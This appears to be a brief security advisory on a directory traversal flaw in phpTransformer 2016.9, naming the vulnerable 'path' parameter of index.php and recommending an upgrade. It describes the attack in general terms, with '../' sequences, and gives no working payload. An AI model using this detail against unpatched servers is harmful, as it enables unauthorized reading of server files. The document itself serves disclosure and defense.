phpTransformer 2016.9 – Directory Traversal

A directory traversal vulnerability exists in phpTransformer 2016.9, which allows an attacker to read arbitrary files on the server. The vulnerability exists due to insufficient validation of user-supplied input in the 'path' parameter of the 'index.php' script. An attacker can send a specially crafted HTTP request containing directory traversal sequences (e.g. '../') to read arbitrary files on the server.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to upgrade to the latest version of phpTransformer.
